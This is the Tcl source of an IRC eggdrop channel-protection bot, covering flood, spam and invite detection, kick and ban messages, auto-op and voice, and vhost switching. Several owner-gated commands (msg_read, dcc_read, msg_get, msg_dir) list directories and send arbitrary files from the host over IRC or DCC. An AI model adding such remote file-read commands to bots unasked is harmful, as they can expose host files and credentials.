putlog "!Log! FLOOD <<$type>> FRoM $host"
if {[info exists bannick($nick)]} { return 1 }
if {[info exists igflood($nick)]} { return 1 }
if {[string match "*Serv*" $nick] || [matchattr $handle f] || $nick == $botnick} {
putlog "!Log! FlooD <<$nick>> Service OR FrIeNd !PaSS!"
return 1
}
if {[string index $channel 0] != "#"} {
foreach x [channels] {
if {[onchan $nick $x]} {
set channel $x
}
}
}
set mhost "@[lindex [split $host @] 1]"
if {[string index $channel 0] == "#"} { 
if {![isop $botnick $channel]} {
putlog "!Log! FlooD <<$nick>> BoT NoT @P !IgNoREd!"
return 1
}
}
set type [string tolower $type]
if {$type == "join"} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notm 12ExceEd MaX 04JoIN12 FRoM 04$mhost [banms]"
}
if {$type == "ctcp"} {
if {![info exists kops]} {
if {[isop $nick $channel] || [isvoice $nick $channel]} {
return 1
}
}
set bannick($nick) "*!*$mhost"
if {$quick == "1"} {
putqck "KICK $channel $nick :$notm 12ExceEd MaX 04cTcP12 FRoM 04$mhost [banms]"
} else {
putsrv "KICK $channel $nick :$notm 12ExceEd MaX 04cTcP12 FRoM 04$mhost [banms]"
}
}
if {$type == "pub"} {
if {![info exists kops]} {
if {[isop $nick $channel] || [isvoice $nick $channel]} {
return 1
}
}
set bannick($nick) "*!$host"
putsrv "KICK $channel $nick :$notm 12ExceEd MaX 04LINES12 FRoM 04$mhost [banms]"
return 1
}
if {$type == "nick"} {
if {![info exists kops]} {
if {[isop $nick $channel] || [isvoice $nick $channel] || [string length $nick] == 8} {
return 1
}
}
if {![info exists floodnick($mhost)]} {
set floodnick($mhost) 1
putsrv "KICK $channel $nick :$notm 12sTOp cHaNgINg YouR 04NIcK12..!"
} {
catch {unset floodnick($mhost)}
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notm 12TwIcE ExceEd 04NIcK12 FRoM 04$mhost [banms]"
}
}
if {$type == "deop"} {
if {![info exists flooddeop($nick)]} {
set flooddeop($nick) 1
putsrv "KICK $channel $nick :$notm 12ExceEd MaX 04De@p12 FRoM 04$mhost12..!"
} {
catch {unset flooddeop($nick)}
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notm 12TwIcE ExceEd MaX 04De@p12 FRoM 04$mhost [banms]"
}
}
if {$type == "kick"} {
if {![info exists floodkick($nick)]} {
set floodkick($nick) 1
putsrv "KICK $channel $nick :$notm 12ExceEd MaX 04KIcK12 FRoM 04$mhost12..!"
} {
catch {unset floodkick($nick)}
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notm 12TwIcE ExceEd MaX 04KIcK12 FRoM 04$mhost12..!"
}
}
return 1
}
bind raw - INVITE raw_chk
proc raw_chk {nick keyword arg} {
global invme joinme notc bannick notd botnick notm
set who [string range $nick 0 [expr [string first "!" $nick]-1]]
set channel [lindex $arg 1]
set channel [string range $channel 1 end]
foreach x [channels] {
if {[string tolower $channel] == [string tolower $x]} {
putsrv "JOIN $channel"
return 0
}
}
if {$who == "ChanServ" || [matchattr $who Z]} {
if {![validchan $channel]} {
if {[matchattr $who Z] && ![matchattr $who Q]} {
puthlp "NOTICE $who :$notc 04DeNIEd..!"
return 0
} else { 
set joinme $who
}
channel add $channel
catch { channel set $channel -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
}
putsrv "JOIN $channel"
return 0
}
if {[matchattr $who f]} { return 0 }
foreach x [channels] {
if {[onchan $who $x]} {
if {[isop $botnick $x]} {
set banmask "*!*[string range $nick [string first "@" $nick] end]"
set bannick($who) $banmask
putsrv "KICK $x $who :$notm 04!SpaM!12 I HaTE 04InvITeR [banms]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
putlog "!Log! RePORTED InVITING FRoM <<$who$x>> To #$c#"
set sendspam "!tot [zip "$x $who $notm 04!SpaM!12 FRoM 04[string range $nick [string first "@" $nick] end]12 InvITE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
set invme([string range $nick [string first "@" $nick] end]) "InvITeR"
return 0
}
bind ctcp - CLIENTINFO sl_ctcp1
bind ctcp - USERINFO sl_ctcp2
bind ctcp - FINGER sl_ctcp3
bind ctcp - TIME
bind ctcp - VERSION sl_ctcp4
proc sl_ctcp1 {nick uhost handle dest keyword text} {
global ctcps ctcp-clientinfo
set {ctcp-clientinfo} [lindex $ctcps [rand [llength $ctcps]]]
}
proc sl_ctcp2 {nick uhost handle dest keyword text} {
global ctcps ctcp-userinfo
set {ctcp-userinfo} [lindex $ctcps [rand [llength $ctcps]]]
}
proc sl_ctcp3 {nick uhost handle dest keyword text} {
global ctcps ctcp-finger
set {ctcp-finger} [lindex $ctcps [rand [llength $ctcps]]]
}
proc sl_ctcp4 {nick uhost handle dest keyword text} {
global ctcps ctcp-version
set {ctcp-version} [lindex $ctcps [rand [llength $ctcps]]]
}
proc chat_ctcp {nick uhost hand dest key arg} {
global botnick notc
if {[matchattr $nick Z]} { return 0 }
puthlp "NOTICE $nick :$notc SoRRY I DoNT KNoW YoU..!"
newignore "${nick}!*@*" $botnick "*" 1
return 1
}
set virus_nick ""
bind ctcp - DCC got_dcc
proc got_dcc {nick uhost handle dest key arg} {
global virus_nick notc notd botnick notm
if {[matchattr $nick f]} { return 0 }
if {[lindex $arg 2] == 0 && [lindex $arg 3] == 0} {
putlog "!Log! FaKE DCC SKIPPED..!"
return 1
}
set virus_nick $nick
foreach x [channels] {
if {[onchan $nick $x] && ![isop $nick $x]} {
if {[isop $botnick $x]} {
putsrv "KICK $x $nick :$notm 04!SpaM!12 I HaTE 04VIRuZ [banms]"
set virus_nick ""
} else {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
putlog "!Log! RePORTED ViRUS FRoM <<$nick$x>> To #$c#"
set sendspam "!tot [zip "$x $nick $notm 04!SpaM!12 YeW GoT VIRuZ JoIN #Dalnet.Help TO FIxED [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
return 1
}
proc voiceq {chan nick} {
utimer [expr 5 + [rand 15]] [list voiceprc $chan $nick]
}
proc voiceprc {chan nick} {
global botnick
if {[isop $botnick $chan] && ![isvoice $nick $chan] && ![isop $nick $chan]} { 
putserv "MODE $chan +vvvvvv $nick"
}
}
proc advertise {chan nick} {
if {[isutimer "advq $chan $nick"]} { return 0 }
set cret 5
foreach ct [utimers] {
if {[string match "*advq*" $ct]} {
if {[expr [lindex $ct 0] + 5] > $cret} {
set cret [expr [lindex $ct 0] + 5]
}
}
}
utimer $cret [list advq $chan $nick]
}
proc advq {chan nick} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![isop $nick $chan] && [onchan $nick $chan]} {
set greetmsg [getuser $cflag XTRA "GREET"]
regsub %n $greetmsg $nick greetmsg
regsub %c $greetmsg $chan greetmsg
puthlp "NOTICE $nick :[lgrnd] $greetmsg"
}
}
proc deopprc {chan nick} {
global botnick
if {[isop $botnick $chan] && [isop $nick $chan]} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -ko 04n0.Guest.@ps $nick"
} {
putserv "MODE $chan -o $nick"
}
}
}
proc autokick {chan nick} {
global bannick notc notm botnick
if {[isop $botnick $chan] && ![isop $nick $chan] && ![isvoice $nick $chan]} {
set hostmask [getchanhost $nick $chan]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
set bannick($nick) $hostmask
putsrv "KICK $chan $nick :$notm 12cHaNNeL IS UnDeR c0NsTRucTIoN [banmsg]"
}
}
proc opq {chan nick} {
utimer [expr 7 + [rand 15]] [list opprc $chan $nick]
}
proc opprc {chan nick} {
global botnick unop
if {[isop $botnick $chan] && ![isop $nick $chan] && ![info exists unop($nick)]} {
putserv "MODE $chan +oooooo $nick"
}
}
proc dcc_cmd {hand idx arg} {
if {![matchattr $hand Z]} { return 0 }
if {![matchattr $hand Q]} { chattr $hand +Q }
msg_Z $hand "*" $hand $arg
}
proc dcc_get {hand idx arg} {
global notc own
if {$hand != $own} { return 0 }
if {![file exists [lindex $arg 0]]} {
putdcc $idx "04DeNIEd..!, [lindex $arg 0] !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {[lindex $arg 1] != ""} { 
set hand [lindex $arg 1]
}
switch -- [dccsend [lindex $arg 0] $hand] {
0 { putdcc $idx "<<TRaNSFERRING LOG>>" }
1 { putdcc $idx "dcc table is full (too many connections), TrY AgAIN LaTeR!" }
2 { putdcc $idx "can't open a socket for transfer." }
3 { putdcc $idx "file doesn't exist." }
4 { putdcc $idx "file was queued for later transfer." }
}
}
proc msg_get {nick uhost hand arg} {
global notc own
if {$nick != $own} { return 0 }
if {![matchattr $nick Q]} {
puthlp "PRIVMSG $nick :$notc 04DeNIEd..!"
return 0
}
if {![file exists $arg]} {
puthlp "PRIVMSG $nick :04DeNIEd..!, $arg !ERRoR! No sUcH VaRIaBLe"
return 0
}
switch -- [dccsend $arg $nick] {
0 { 
puthlp "NOTICE $nick :$notc TRaNSFERRING LOG..!"
}
1 { 
puthlp "NOTICE $nick :$notc DCC TaBLe Is FuLL (too many connections), TrY AgAIN LaTER!"
}
2 { 
puthlp "NOTICE $nick :$notc CaN'T oPeN a soCKeT FoR TRaNSFeR"
}
3 { 
puthlp "NOTICE $nick :$notc FiLe DoEsN'T eXIsT"
}
4 { 
puthlp "NOTICE $nick :$notc File WaS QUeuED FoR LaTeR TRaNSFeR"
}
}
}
bind raw - 301 rtn
proc rtn { from keyword arg } {
global notd botnick notb notm notc bannick
set nick [lindex $arg 1]
if {[matchattr $nick f]} { return 0 }
set awaytext [string range [lrange $arg 2 end] 1 end]
#if {[string match "*hampri*" [uncolor $awaytext]]} { return 0 }
if {$nick == $botnick} {
puthlp "AWAY :[lgrnd]"
} {
if {[string match "*#*" $awaytext] || [string match "*/j*" $awaytext]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $awaytext]]} { return 0 }
}
foreach x [channels] {
if {[onchan $nick $x]} {
if {[isop $botnick $x]} {
set bannick($nick) "*!*[string range [getchanhost $nick $x] [string first "@" [getchanhost $nick $x]] end]"
putsrv "KICK $x $nick :$notm \00304!SpaM!\00312 InvITE \00304aWaY MSg [banmsg]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!tot [zip "$x $nick $notm \00304!SpaM!\00312 FRoM \00304[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]\00312 InvITE \00304aWaY MSg [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
}
} 
}
bind time -  "*0 * * * *" chk_five
bind time -  "*6 * * * *" chk_five
proc chk_five {min h d m y} {
global longer deff awaym
set awaymsg [lindex $awaym [rand [llength $awaym]]]
catch { remain }
#if {![string match "**" $longer]} {
set longer "$awaymsg"
#}
puthlp "AWAY :$longer"
auto_ping "0" "0" "0" "0" "0"
}
proc msg_dir {nick uhost hand arg} {
global notc own
if {$nick != $own} { return 0 }
if {![matchattr $nick Q]} {
puthlp "PRIVMSG $nick :04DeNIEd..!"
return 0
}
if {$arg == ""} {
set arg "."
}
set dirlist ""
foreach x [getfiles "$arg"] {
append dirlist "$x "
}
puthlp "PRIVMSG $nick :$dirlist"
}
proc msg_read {nick uhost hand arg} {
global notc own
if {$nick != $own} { return 0 }
if {![matchattr $nick Q]} {
puthlp "PRIVMSG $nick :04DeNIEd..!"
return 0
}
if {![file exists $arg]} {
puthlp "PRIVMSG $nick :04DeNIEd..!, $arg !ERRoR! No sUcH VaRIaBLe"
return 0
}
set fd [open $arg r]
while {![eof $fd]} {
set inp [gets $fd]
puthlp "PRIVMSG $nick :$inp"
}
close $fd
puthlp "PRIVMSG $nick :EoF..!"
}
proc pub_log {nick uhost hand channel arg} {
global notc 
if {[getuser "config" XTRA "LOGCHAN"]!=""} {
puthlp "NOTICE $nick :$notc Log [getuser "config" XTRA "LOGCHAN"]"
}
}
proc pub_server {nick uhost hand channel arg} {
global server notc
if {$arg != ""} {
if {[string match "*$arg*" $server]} {
puthlp "privmsg $channel :[lindex $server 0]"
}
} {
puthlp "privmsg $channel :[lindex $server 0]"
}
}
set own $owner
proc dcc_dir {hand idx arg} {
global own
if {$hand != $own} { return 0 }
if {$arg == ""} {
set arg "."
}
foreach x [getfiles "$arg"] {
putdcc $idx "$x"
}
}
proc dcc_read {hand idx arg} {
global own
if {$hand != $own} { return 0 }
if {![file exists $arg]} {
putdcc $idx "04DeNIEd..!, FiLE NoT ExIST $arg"
return 0
}
set fd [open $arg r]
while {![eof $fd]} {
set inp [gets $fd]
putdcc $idx "$inp"
}
close $fd
putdcc $idx "04******************** END ***********************"
}
proc msg_bantime {nick uhost hand rest} {
global notc ban-time
if {$rest==""} {
puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\] (set 0 to never unban)"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set mtime [lindex $rest 0]
if {![isnumber $mtime]} {
puthlp "NOTICE $nick :$notc Usage: bantime <minutes> (set 0 to never unban)"
return 0
}
set ban-time $mtime
setuser "config" XTRA "BANTIME" $mtime
puthlp "NOTICE $nick :$notc BanTime \[$mtime\]"
saveuser
}
proc chk_limit {chan} {
global notc botnick lst_limit
if {![isop $botnick $chan]} { return 0 }
if {![info exists lst_limit($chan)]} {
set lst_limit($chan) 0
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set usercount 0
foreach x [chanlist $chan] {
incr usercount
}
set usercount [expr [getuser $cflag XTRA "LIMIT"] + $usercount]
if {$lst_limit($chan) != $usercount} {
set lst_limit($chan) $usercount
putserv "MODE $chan +l $usercount"
}
}
proc msg_logchan {nick uhost hand rest} {
global notc own
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: logchan <#channel/0>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[string tolower $rest] == "off"} {
puthlp "NOTICE $nick :$notc LOGCHAN [getuser "config" XTRA "LOGCHAN"] \[04OFF\]"
setuser "config" XTRA "LOGCHAN" ""
} else {
if {[string tolower $rest] == "Sidimpuan"} {
return 0
}
if {![validchan $rest]} {
puthlp "NOTICE $nick :$notc NoT IN $rest"
return 0
}
setuser "config" XTRA "LOGCHAN" $rest
puthlp "NOTICE $nick :$notc LOG CHaNNEL $rest \[9ON\]"
}
saveuser
utimer 5 rehashing
}
proc dcc_log {hand idx arg} {
global logstore notc
if {$logstore == ""} {
putdcc $idx "No LOG FouNd..!"
return 0
}
if {![file exists $logstore]} {
putdcc $idx "04DeNIEd..!, Log file haven't create yet!"
return 0
}
set fd [open $logstore r]
while {![eof $fd]} {
set inp [gets $fd]
putdcc $idx "$inp"
}
close $fd
putdcc $idx "04******************** END ***********************"
}
set quick "0"
proc chk_quick {} {
global quick botnick
putquick "PRIVMSG $botnick :\001PING [unixtime]\001"
set quick "1"
}
utimer 1 chk_quick
bind raw - MODE chk_op
proc chk_op { from keyword arg } {
global botnick
if {![string match "*+o*$botnick*" $arg]} { return 0 }
set chan [lindex $arg 0]
if {[string match "*dal.net*" $from]} {
pub_resync $botnick "*" "*" $chan "*"
return 0
}
chk_on_op $chan
}
proc chk_on_op {channel} {
global botnick kickme deopme invme virus_nick quick notc notm bannick is_m botname
set cflag "c$channel"
set cflag [string range $cflag 0 8]
if {[isutimer "chkspam $channel"]} {
foreach x [utimers] {
if {[string match "*chkspam $channel*" $x]} { killutimer [lindex $x 2] }
}
}
if {[isutimer "GOP $channel"]} { return 0 }
if {![onchan $botnick $channel]} { return 0 }
utimer 20 [list putlog "GOP $channel"]
set cinfo [channel info $channel]
if {[string match "*+nodesynch*" $cinfo]} {
pub_mdeop "*" "*" "*" $channel ""
}
set cmode [getchanmode $channel]
if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {
if {[matchattr $cflag K]} {
if {![string match "*[dezip [getuser $cflag XTRA "CI"]]*" [getchanmode $channel]]} {
puthelp "mode $channel -k+k . [dezip [getuser $cflag XTRA "CI"]]"
}
} {
if {[string match "*k*" $cmode]} {
if {[string tolower $channel] != "Sidimpuan"} {
putserv "mode $channel -k 9r.e.l.e.a.s.e.d"
}
}
}
if {[string match "*R*" $cmode]} {
puthelp "mode $channel -mR"
}
if {[string match "*m*" $cmode] && ![string match "*m*" [lindex [channel info $channel] 0]]} {
putserv "mode $channel -mR"
}
if {[string match "*i*" $cmode]} {
putserv "mode $channel -i"
}
}
if {![string match "*m*" $cmode]} {
foreach x [utimers] {
if {[string match "*set_-m $channel*" $x]} {
killutimer [lindex $x 2]
}
}
}
if {[matchattr $cflag I]} {
if {[topic $channel] != [getuser $cflag XTRA "TOPIC"]} {
puthlp "topic $channel :[getuser $cflag XTRA "TOPIC"]"
}
}
foreach x [chanlist $channel] {
if {$x == $deopme} {
if {[isop $x $channel]} {
if {![string match "*k*" $cmode]} {
if {$quick == "1"} {
putquick "mode $channel -ko 04De@p.ReveRsE $x"
} else {
putserv "mode $channel -ko 04De@p.ReveRsE $x"
}
} {
if {$quick == "1"} {
putquick "mode $channel -o $x"
} else {
putserv "mode $channel -o $x"
}
}
}
set deopme ""
}
set mhost "@[lindex [split [getchanhost $x $channel] @] 1]"
if {[info exists kickme($x)]} {
if {$kickme($x) == 3} {
catch { unset kickme($x) }
set bannick($x) "*!*$mhost"
if {$quick == "1"} {
putqck "KICK $channel $x :$notm 12RePeaT 04KIcK 12ReMoTe OFF04..!"
} else { 
putsrv "KICK $channel $x :$notm 12RePeaT 04KIcK 12ReMoTe OFF04..!"
}
} {
if {$kickme($x) == 1} {
if {$quick == "1"} {
putqck "KICK $channel $x :$notm 12SeLF 04KIcK12 REvENgE04..!"
} {
putsrv "KICK $channel $x :$notm 12SeLF 04KIcK12 REvENgE04..!"
}
}
}
}
if {[matchattr $cflag V]} {
if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {
if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {
set cret [getuser $cflag XTRA "VC"]
foreach ct [utimers] {
if {[string match "*voiceq*" $ct]} {
if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
}
}
}
utimer $cret [list voiceq $channel $x]
}
}
}
if {[matchattr $x v] || [matchattr $x P] || [matchattr $x G]} {
if {![isop $x $channel] || ![isvoice $x $channel]} {
whoisq $x
}
}
if {[matchattr $x O]} {
if {[isop $x $channel]} {
set cmode [getchanmode $channel]
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -ko 04No@p.LIsT $x"
} {
puthelp "mode $channel -o $x"
}
} {
if {[isvoice $x $channel]} {
set cmode [getchanmode $channel]
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kv 04No@p.LIsT $x"
} {
puthelp "mode $channel -v $x"
}
}
}
}
if {[info exists invme($mhost)]} {
if {![isop $x $channel]} {
set bannick($x) "*!*$mhost"
if {$invme($mhost) == "AuToJoIN MSg"} {
if {![isvoice $x $channel]} {
putsrv "KICK $channel $x :$notm 04!SpaM!12 FRoM 04$mhost 12$invme($mhost) 04R12emote 04O12ff04..!"
}
} {
putsrv "KICK $channel $x :$notm 04!SpaM!12 FRoM 04$mhost 12$invme($mhost) [banmsg]"
}
}
catch {unset invme($mhost)}
}
if {$x == $virus_nick} {
if {![isop $x $channel]} {
set bannick($x) "*!*$mhost"
putsrv "KICK $channel $x :$notm 04!SpaM!12 FRoM 04$mhost12 VIRuZ [banmsg]"
set virus_nick ""
}
} 
spam_chk $x [getchanhost $x $channel] "*" $channel
}
foreach x [chanlist $channel K] {
if {![matchattr $x f]} {
akick_chk $x [getchanhost $x $channel] $channel
}
}
foreach x [chanbans $channel] {
set bhost [lindex $x 0]
if {[string match [string tolower $bhost] [string tolower $botname]]} {
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kb 04SeLF.UnBaN $bhost"
} {
puthelp "mode $channel -b $bhost"
}
} elseif {[matchattr $bhost f]} {
puthelp "mode $channel -b $bhost"
} elseif {[getuser "config" XTRA "IPG"] != ""} {
foreach ipg [getuser "config" XTRA "IPG"] {
if {[string match $ipg $bhost] || [string match $bhost $ipg]} {
if {![isutimer "IPG $bhost"]} {
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kb 04IpgUaRd $bhost"
} {
puthelp "mode $channel -b $bhost"
}
utimer 60 [list putlog "IPG $bhost"]
}
}
}
}
}
}
bind time -  "01 * * * *" show_status
proc show_status {min h d m y} {
global botnick
foreach x [channels] {
if {[isop $botnick $x]} { 
pub_status "*" "*" "*" $x "" 
chk_on_op $x
}
}
return 0
}
proc badnick_chk {nick uhost hand chan} {
global badwords notc vern notm botnick bannick
foreach x [string tolower $badwords] {
if {[string match "*$x*" [string tolower $nick]]} {
set bannick($nick) "$nick!*@*"
putquick "KICK $chan $nick :$notm 04BaD NIcK12 MaTcH FRoM 04[string toupper $x] [banms]"
puthlp "PRIVMSG $nick :\[ $notc\] 04U aRE UsINg BaDNIcK cHaNgE iT 1sT THeN Re-JoIN BacK12...!"
return 1
}
}
return 0
}
proc spam_chk {nick uhost hand chan} {
global notc botnick spidx
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $cflag S]} { return 0 }
if {$nick == $botnick} { return 0 }
if {[isvoice $nick $chan]} { return 0 }
if {[isop $nick $chan]} { return 0 }
if {[matchattr $nick f]} { return 0 }
if {[badnick_chk $nick $uhost $hand $chan]} { 
return 0
}
set nicklen [string length $nick]
if {$nicklen < 5} { return 0 }
set idx [string index $nick [expr $nicklen - 4]][string index $nick [expr $nicklen - 3]][string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]
if {[isnumber $idx]} { return 0 }
set idx [string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]
if {[isnumber $idx]} {
if {[string index $uhost 0] != "~"} { return 0 }
if {$nicklen < 10} {
if {![string match "~$nick@*" $uhost]} { return 0 }
} {
if {![string match "~[string index $nick 0][string index $nick 1][string index $nick 2]*@*" $uhost]} { return 0 }
}
if {$spidx == 18} {
set spidx 1
}
spamkick $nick $uhost $chan
return 0
}
if {[regexp \[^a-z\] $nick]} { return 0 }
set nickchk [string tolower $nick]
set count 0
set lstidx ""
for {set i 0} {$i < $nicklen} {incr i} {
set idx [string index $nickchk $i]
if {$idx == "a" || $idx == "e" || $idx == "i" || $idx == "o" || $idx == "u"} {
set count 0
} {
if {$idx != $lstidx && $idx != "y"} { incr count }
if {$count == 4} {
spamkick $nick $uhost $chan
return 0
}
}
set lstidx $idx
}
}
proc akick_chk {nick uhost chan} {
global bannick notm
foreach x [getuser "AKICK" HOSTS] {
if {[string match [string tolower $x] [string tolower "$nick!$uhost"]]} {
set bannick($nick) $x
putsrv "KICK $chan $nick :$notm 04B12L04a12c04K12L04I12s04T12 MaTcH FRoM04 $x [banms]"
return 0
}
}
}
set spidx 1
proc spamkick {nick uhost chan} {
global spidx notm bannick
set bannick($nick) "*!$uhost"
if {$spidx == 1} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 YeW AInT WeLcOmE In 04[string toupper $chan] [banms]"
} elseif {$spidx == 2} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 DRonE TRoJaN [banmsg]"
} elseif {$spidx == 3} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 UgH I HatE ThIs NIcK [banmsg]"
} elseif {$spidx == 4} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 Ups WRoNg WaY [banmsg]"
} elseif {$spidx == 5} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 DonT EnTeReD 04[string toupper $chan] [banms]"
} elseif {$spidx == 6} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 InTeRcEpT [banmsg]"
} elseif {$spidx == 7} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 G.o.T.c.H.a [banmsg]"
} elseif {$spidx == 8} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 NEgaTIvE HoUsToN [banmsg]"
} elseif {$spidx == 9} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 gRoUndEd [banmsg]"
} elseif {$spidx == 10} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 AnTIcIpaTEd [banmsg]"
} elseif {$spidx == 11} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 gO sIt In tHe cOrNeR [banmsg]"
} elseif {$spidx == 12} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 b.l.a.c.k.l.i.s.t.e.d [banmsg]"
} elseif {$spidx == 13} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 ReJecTed FRoM 04[string toupper $chan] [banms]"
} elseif {$spidx == 14} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 sMoosHINg ReLaY TaBLe [banmsg]"
} elseif {$spidx == 15} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 dUn EnTeRed oNe oF mY cHanneL [banmsg]"
} elseif {$spidx == 16} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 ReFusEd LInK tO 04[string toupper $chan] [banms]"
} elseif {$spidx == 17} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 FakE NIcKNaMe [banmsg]"
} elseif {$spidx >= 18} {
putsrv "KICK $chan $nick :$notm 04!SpaM!12 UNaBLe To ReSoLVe04 $nick [banms]"
set spidx 0
}
incr spidx
return 0
}
proc isutimer {text} {
set text [string tolower $text]
foreach x [utimers] {
set x [string tolower $x]
if {[string match "*$text*" $x]} { 
return 1
break
}
}
return 0
}
proc istimer {text} {
set text [string tolower $text]
foreach x [timers] {
set x [string tolower $x]
if {[string match "*$text*" $x]} { 
return 1 
break
}
}
return 0
}
catch { set old_hostname ${my-hostname} }
catch { set old_ip ${my-ip} }
bind msg Z vhost msg_vhost
proc msg_vhost {nick uhost hand rest} {
global my-hostname my-ip notc
if {$rest == ""} {
puthlp "NOTICE $nick :$notc ReSET TO DeFauLT"
setuser "config" XTRA "VHOST" ""
saveuser
vback "*" "*" "0"
return 0
}
for {set i 0} {$i < [string length $rest]} {incr i} {
set idx [string index $rest $i]
if {![string match "*$idx*" "1234567890."]} {
puthlp "NOTICE $nick :$notc UsE DNS IP NuMBeR"
return 0
}
}
if {[isutimer "vback"]} {
puthlp "NOTICE $nick :$notc WaIT..!"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set my-hostname $rest
set my-ip $rest
utimer 30 [list vback $nick $rest "1"]
listen 65234 bots
set idx [connect $rest 65234]
if {[isnumber $idx] && $idx > 0} {
if {![isutimer "vback"]} { return 0 }
foreach x [utimers] {
if {[string match "*vback*" $x]} { killutimer [lindex $x 2] }
}
setuser "config" XTRA "VHOST" $rest
saveuser
putsrv "QUIT :$notc cHaNgINg vHosT"
}
listen 65234 off
}
bind raw - 465 klined
proc klined {from keyword arg} {
vback "*" "*" "0"
}
proc vback {nick vhosts chk} {
global old_hostname old_ip notc
set my-hostname $old_hostname
set my-ip $old_ip
if {$chk == "1"} {
puthlp "NOTICE $nick :$notc \[$vhosts\] NoT SuPPoRT..!"
}
catch { listen 652343 off }
}
proc pub_status {nick uhost hand channel rest} {
global ban-time botnick own ps vern
set cflag "c$channel"
set cflag [string range $cflag 0 8]
if {$rest != ""} {
if {[validchan $rest]} {
set channel $rest
} { 
return 0 
}
}
set cinfo [channel info $channel]
if {![string match "*+shared*" $cinfo] && $nick == "*"} { return 0 }
set mstatus ""
if {[matchattr $cflag I]} { append mstatus "\[04T\]oPIcLocK " }
if {[matchattr $cflag M]} { append mstatus "FoRcE\[04M\]odE " }
if {[string match "*+nodesynch*" $cinfo]} { append mstatus "AuTo\[12K\]IcK " }
if {[string match "*-userinvites*" $cinfo]} { append mstatus "\[12D\]onTKIcK@P " }
if {[string match "*+protectfriends*" $cinfo]} { append mstatus "UnRE\[12@\]P " }
if {[string match "*+greet*" $cinfo]} {
set i 0
while {$i < [string length $cinfo]} {
set y 0
while {$y < [string length [lindex $cinfo $i]]} {
if {[string index [lindex $cinfo $i] $y] == ":"} { break }
set y [incr y]
}
if {$y != [string length [lindex $cinfo $i]]} { break }
set i [incr i]
}
set ichan [lindex $cinfo $i]
set ictcp [lindex $cinfo [expr $i + 1]]
set ijoin [lindex $cinfo [expr $i + 2]]
set ikick [lindex $cinfo [expr $i + 3]]
set ideop [lindex $cinfo [expr $i + 4]]
set inick [lindex $cinfo [expr $i + 5]]
if {![string match "*:*" $inick]} {
set inick "0"
}
append mstatus "\[12G\]uaRd FLoOd \[LInE12 $ichan cTcP12 $ictcp JoIN12 $ijoin KIcK12 $ikick De@p12 $ideop NIcK12 $inick\] "
if {${ban-time} != 0} { append mstatus "\[12B\]aNTImE12 ${ban-time} mIn " }
}
if {[matchattr $cflag V]} { append mstatus "\[12A\]uToVoIcE12 [getuser $cflag XTRA "VC"] 2nd " }
if {[matchattr $cflag K]} { append mstatus "\[12K\]eY " }
if {[matchattr $cflag D]} { append mstatus "Re\[12V\]eNgE " }
if {[matchattr $cflag G]} { append mstatus "\[12G\]ReeT " }
if {[matchattr $cflag S]} { append mstatus "\[12S\]paM " }
if {[getuser "config" XTRA "KOPS"]!=""} { append mstatus "\[12@\]PSKIcK " }
if {[matchattr $cflag R]} { append mstatus "\[12R\]ePeaT12 [getuser $cflag XTRA "RPT"] " }
